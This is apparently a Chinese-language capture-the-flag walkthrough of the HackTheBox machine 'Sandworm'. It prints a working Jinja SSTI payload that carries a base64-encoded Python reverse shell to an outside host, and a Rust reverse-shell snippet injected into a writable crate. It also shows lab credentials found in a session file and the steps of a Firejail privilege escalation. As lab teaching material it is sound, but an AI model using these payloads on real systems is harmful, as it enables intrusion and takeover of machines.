Sandworm 是一台中等难度的 Linux 机器,它托管了一个具有“PGP”验证服务的 Web 应用程序,该服务容易受到服务器端模板注入 (SSTI) 的攻击,导致“Firejail”监狱内的远程代码执行 (RCE)。可以在监狱中发现明文凭据,这会导致作为计算机用户之一对计算机进行“SSH”访问。从那里,发现了一个 cronjob,它编译并运行一个“Rust”二进制文件。该程序依赖于一个自定义的外部日志记录箱,用户对该箱具有写入权限,然后使用该箱作为运行 cronjob 的“atlas”用户获取 shell。最后,最近的“Firejail”漏洞(“CVE-2022-31214”)用于创建一个沙盒,攻击者可以在其中运行“su”命令并在目标系统上获取“root”shell。
循例nmap
访问80跳转到ssa.htb
我看到网站底部有一个熟悉的flask
在contact有一个表单,用于提交pgp加密的消息,它似乎会回复我们,接着看
在/guide是一个pgp加解密器
/pgp给了我们public key
将公钥保存到本地
将公钥导入
再用gpg利用公钥加密我们自定义的消息
已经知道是flask了,所以应该考虑ssti,通过decrypt尝试ssti发现不行
验证签名处,我们可以生成key然后使用公钥解密签名,在生成key的时候嵌入ssti payload
然后再使用这个公钥对消息进行签名
将公钥导出
将公钥和签名提交到网站
它payload成功被执行了
hacktricks随便来个ssti payload
{{ cycler.__init__.__globals__.os.popen('id').read() }}
来个python3 reverse shell payload,base64一下
最终ssti payload
{{ cycler.__init__.__globals__.os.popen('echo cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjE4Iiw4ODg4KSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO2ltcG9ydCBwdHk7IHB0eS5zcGF3bigiL2Jpbi9iYXNoIikn | base64 -d | bash').read() }}
nc监听,它如期而至
但这个shell似乎有点问题,无法回车,我们只需要升级一下这个shell
ctrl + z
stty raw -echo;fg
但这个shell是受限制的,能做的事情很有限
在家目录的.config目录下的httpie/里面我们能够找到一个admin.json文件
atlas@sandworm:~/.config/httpie/sessions/localhost_5000$ cat ./admin.json
{
"__meta__": {
"about": "HTTPie session file",
"help": "https://httpie.io/docs#sessions",
"httpie": "2.6.0"
},
"auth": {
"password": "quietLiketheWind22",
"type": null,
"username": "silentobserver"
},
"cookies": {
"session": {
"expires": null,
"path": "/",
"secure": false,
"value": "eyJfZmxhc2hlcyI6W3siIHQiOlsibWVzc2FnZSIsIkludmFsaWQgY3JlZGVudGlhbHMuIl19XX0.Y-I86w.JbELpZIwyATpR58qg1MGJsd6FkA"
}
},
"headers": {
"Accept": "application/json, */*;q=0.5"
}
}
这组凭据能够直接登录ssh,同时拿到user flag
传个pspy过去
2023/12/21 08:26:01 CMD: UID=0 PID=3784 | /bin/sudo -u atlas /usr/bin/cargo run --offline
2023/12/21 08:26:01 CMD: UID=0 PID=3783 | /bin/sh -c cd /opt/tipnet && /bin/echo "e" | /bin/sudo -u atlas /usr/bin/cargo run --offline
2023/12/21 08:26:01 CMD: UID=1000 PID=3786 | /usr/bin/cargo run --offline
2023/12/21 08:26:01 CMD: UID=1000 PID=3787 | /usr/bin/cargo run --offline
2023/12/21 08:26:01 CMD: UID=1000 PID=3788 | rustc - --crate-name ___ --print=file-names --crate-type bin --crate-type rlib --crate-type dylib --crate-type cdylib --crate-type staticlib --crate-type proc-macro -Csplit-debuginfo=packed
2023/12/21 08:26:01 CMD: UID=1000 PID=3790 | rustc - --crate-name ___ --print=file-names --crate-type bin --crate-type rlib --crate-type dylib --crate-type cdylib --crate-type staticlib --crate-type proc-macro --print=sysroot --print=cfg
2023/12/21 08:26:01 CMD: UID=1000 PID=3792 | /usr/bin/cargo run --offline
2023/12/21 08:26:11 CMD: UID=0 PID=3796 | /bin/bash /root/Cleanup/clean_c.sh
2023/12/21 08:26:11 CMD: UID=0 PID=3797 | /bin/rm -r /opt/crates
2023/12/21 08:26:11 CMD: UID=0 PID=3798 | /bin/bash /root/Cleanup/clean_c.sh
2023/12/21 08:26:11 CMD: UID=0 PID=3799 | /usr/bin/chmod u+s /opt/tipnet/target/debug/tipnet
2023/12/21 08:28:01 CMD: UID=0 PID=3807 | /usr/sbin/CRON -f -P
2023/12/21 08:28:01 CMD: UID=0 PID=3806 | /usr/sbin/CRON -f -P
2023/12/21 08:28:01 CMD: UID=0 PID=3808 | /usr/sbin/CRON -f -P
2023/12/21 08:28:01 CMD: UID=0 PID=3809 | sleep 10
2023/12/21 08:28:01 CMD: UID=0 PID=3812 | /bin/sudo -u atlas /usr/bin/cargo run --offline
2023/12/21 08:28:01 CMD: UID=0 PID=3810 | /bin/sh -c cd /opt/tipnet && /bin/echo "e" | /bin/sudo -u atlas /usr/bin/cargo run --offline
2023/12/21 08:28:01 CMD: UID=0 PID=3813 | /bin/sudo -u atlas /usr/bin/cargo run --offline
2023/12/21 08:28:01 CMD: UID=1000 PID=3814 | rustc -vV
2023/12/21 08:28:01 CMD: UID=1000 PID=3815 | rustc - --crate-name ___ --print=file-names --crate-type bin --crate-type rlib --crate-type dylib --crate-type cdylib --crate-type staticlib --crate-type proc-macro -Csplit-debuginfo=packed
2023/12/21 08:28:01 CMD: UID=1000 PID=3817 | rustc - --crate-name ___ --print=file-names --crate-type bin --crate-type rlib --crate-type dylib --crate-type cdylib --crate-type staticlib --crate-type proc-macro --print=sysroot --print=cfg
2023/12/21 08:28:02 CMD: UID=1000 PID=3819 | rustc -vV
2023/12/21 08:28:11 CMD: UID=0 PID=3823 | /bin/bash /root/Cleanup/clean_c.sh
2023/12/21 08:28:11 CMD: UID=0 PID=3824 |
2023/12/21 08:28:11 CMD: UID=0 PID=3825 | /bin/bash /root/Cleanup/clean_c.sh
2023/12/21 08:28:11 CMD: UID=0 PID=3826 | /bin/bash /root/Cleanup/clean_c.sh
2023/12/21 08:30:01 CMD: UID=0 PID=3833 | /usr/sbin/CRON -f -P
在/opt下我们可以找到它们
我们无权修改main.rs,但是通过cargo.toml发现它调用的logger模块是在/opt/crates下的
lib.rs可写
将rust reverse shell payload拿下来改一改
use std::net::TcpStream;
use std::os::unix::io::{AsRawFd, FromRawFd};
use std::process::{Command, Stdio};
fn main() {
let s = TcpStream::connect("10.0.0.1:4242").unwrap();
let fd = s.as_raw_fd();
Command::new("/bin/sh")
.arg("-i")
.stdin(unsafe { Stdio::from_raw_fd(fd) })
.stdout(unsafe { Stdio::from_raw_fd(fd) })
.stderr(unsafe { Stdio::from_raw_fd(fd) })
.spawn()
.unwrap()
.wait()
.unwrap();
}
把shellcode改到lib.rs的log函数中,当main那边调用log函数时,我们的nc应该会收到shell
我们在atlas的不受限制的shell中发现了一个新的组,查找一下有关该组的目录和文件
升级一下shell
但是我发现使用pty之后,shell似乎又变得受限了,所以重新获取了一次shell
可以看到firejail版本是0.9.68,并且还有root的suid
在谷歌搜索版本相关的漏洞能够找到一篇文章
这个cve能够帮助我们利用其来进行权限提升,并且还提供了exp
先通过常规操作向atlas用户写入ssh key,然后通过ssh登录,签名的reverse shell先不要关
运行exp
在另一个atlas的shell下执行firejail --join
root flag在老地方